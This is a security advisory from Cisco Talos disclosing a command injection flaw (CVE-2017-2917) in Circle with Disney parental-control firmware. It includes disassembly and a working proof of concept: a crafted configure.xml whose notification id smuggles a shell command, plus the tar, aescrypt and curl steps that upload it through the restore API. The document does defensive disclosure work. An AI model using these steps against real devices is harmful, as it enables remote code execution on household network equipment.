Talos Vulnerability Report

TALOS-2017-0424

Circle with Disney configure.xml Notifications Command Injection Vulnerability

October 31, 2017
CVE Number

CVE-2017-2917

Summary

An exploitable vulnerability exists in the notifications functionality of Circle with Disney running firmware 2.0.1. Specially crafted network packets can cause an OS command injection. An attacker can send an HTTP request trigger this vulnerability.

Tested Versions

Circle with Disney 2.0.1

Product URLs

https://meetcircle.com/

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Details

Circle with Disney is a network device used to monitor internet use of children on a given network.

Circle allows for backing up and restoring configuration backups using API commands. Backups contain a file named "configure.xml", which contains most of the device's configuration.

When restoring a backup using the API command "/api/CONFIG/restore", the "configure.xml" file contained in the backup is copied to "/mnt/shares/usr/bin/configure.xml" with very little checks: the file is considered valid if it's not empty and it contains the following strings:

<config>
<wifi>
<overall>
<users>
<devices>
<contact>

After a backup configuration is restored, the device is rebooted.

Vulnerable code exists in the configd binary in function sub_410294, which configures the device based on the existing "configure.xml". At [1] "configure.xml" is opened and at [2] the temporary notifications directory is cleared. Several functions are then used (e.g. at [3]) to navigate the XML configuration to get to the first "notification" element. Then a format string is built at [4] and is passed to system() at [5] together with the "id" property, for every "notification" element.

.text:00410294     sub_410294:
.text:00410294
...
.text:00410480 278        addiu   $a0, $sp, 0x278+var_258
.text:00410484 278        la      $a1, aMntSharesUs_14                     # "/mnt/shares/usr/bin/configure.xml"
.text:00410488 278        sw      $s2, (dword_44825C - 0x448258)($a2)
.text:0041048C 278        sw      $zero, (dword_448268 - 0x448264)($v1)
.text:00410490 278        sw      $zero, (dword_44826C - 0x448264)($v1)
.text:00410494 278        jal     sub_41FBE4                               # [1]
...
.text:00410760     loc_410760:
.text:00410760 278        addiu   $s4, $sp, 0x278+var_E4
.text:00410764 278        lui     $s2, 0x43
.text:00410768 278        lui     $a2, 0x43
.text:0041076C 278        move    $a0, $s4
.text:00410770 278        li      $a1, 0x80
.text:00410774 278        la      $a2, aRmFS                               # "rm -f %s*"
.text:00410778 278        jal     snprintf
.text:0041077C 278        addiu   $a3, $s2, (aTmpEnabled_not - 0x430000)   # "/tmp/enabled_notifications/"
.text:00410780 278        jal     system                                   # [2]
.text:00410784 278        move    $a0, $s4
.text:00410788 278        lui     $a1, 0x43
.text:0041078C 278        move    $a0, $s0
.text:00410790 278        jal     sub_41D3EC                               # [3]
.text:00410794 278        la      $a1, (aOverallActiven+8)                 # "activeNotifications"
.text:00410798 278        beqz    $v0, loc_410A74
.text:0041079C 278        lui     $s3, 0x43
.text:004107A0 278        move    $a0, $v0
.text:004107A4 278        jal     sub_41D3EC                               # [3]
.text:004107A8 278        addiu   $a1, $s3, (aNotification - 0x430000)     # "notification"
.text:004107AC 278        beqz    $v0, loc_410A74
.text:004107B0 278        move    $s0, $v0
.text:004107B4 278        lui     $s6, 0x43
.text:004107B8 278        lui     $s7, 0x43
.text:004107BC 278        lui     $s5, 0x43
.text:004107C0 278        la      $s6, aTouchSnotifica                     # [4] "touch %snotification.%s"
.text:004107C4 278        j       loc_4107E8
.text:004107C8 278        la      $s7, a1                                  # "1"
.text:004107CC
.text:004107CC     loc_4107CC:
.text:004107CC 278        lui     $a2, 0x45
.text:004107D0 278        sw      $v0, dword_448264
.text:004107D4
.text:004107D4     loc_4107D4:
.text:004107D4 278        move    $a0, $s0
.text:004107D8
.text:004107D8     loc_4107D8:
.text:004107D8 278        jal     sub_41D694
.text:004107DC 278        addiu   $a1, $s3, 0x314
.text:004107E0 278        beqz    $v0, loc_410A74
.text:004107E4 278        move    $s0, $v0
.text:004107E8
.text:004107E8     loc_4107E8:
.text:004107E8 278        move    $a0, $s0
.text:004107EC 278        addiu   $a1, $s5, -0x12E4
.text:004107F0 278        jal     sub_41E028
.text:004107F4 278        move    $a2, $zero
.text:004107F8 278        move    $a0, $s4
.text:004107FC 278        sw      $v0, 0x278+var_268($sp)
.text:00410800 278        li      $a1, 0x80
.text:00410804 278        move    $a2, $s6                                 # [4]
.text:00410808 278        addiu   $a3, $s2, 0x2F8
.text:0041080C 278        jal     snprintf
.text:00410810 278        move    $s1, $v0
.text:00410814 278        jal     system                                   # [5]
...
.text:00410854 278        j       loc_4107D4
.text:00410858 278        sw      $v0, (dword_448268 - 0x448264)($v1)

In short the function finds all "notification" elements in the XML path "config/overall/activeNotifications". Then, for each element, the "id" property is extracted and a file is created using:

system("touch /tmp/enabled_notifications/notification.<id>")

Since "id" is never sanitized and is used in system(), an attacker may use this vulnerability to arbitrarily execute code on the device.

Exploit Proof-of-Concept

The following proof of concept shows how to execute a command on the device. An attacker needs a valid token in order to trigger the vulnerability.

-- create backup binary
$ sAppid="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$ tree backup
backup
├── backup.version
├── configure.xml
└── photos
$ cat configure.xml
<config>
        <wifi></wifi>
        <overall>
                <activeNotifications>
                        <notification id=";echo fastblink > /tmp/blueled;"/>
                </activeNotifications>
        </overall>
        <users></users>
        <devices></devices>
        <contact></contact>
</config>
$ tar -C backup -cvzf backup.tgz configure.xml photos backup.version
$ aescrypt -e -p $sAppid -o backup.bin backup.tgz

-- send binary for config restore
$ curl -k "https://${sIP}:4567/api/CONFIG/restore" -F "token=${sToken}" -F "appid=${sAppid}" -F "[email protected]"

-- wait for reboot

In this case the command executed after reboot will make the device's led blink rapidly.

touch /tmp/enabled_notifications/notification.;echo fastblink > /tmp/blueled;

Timeline

2017-08-29 - Vendor Disclosure
2017-10-31 - Public Release

Credit

Discovered by Claudio Bozzato and Lilith Wyatt <(^_^)> of Cisco Talos.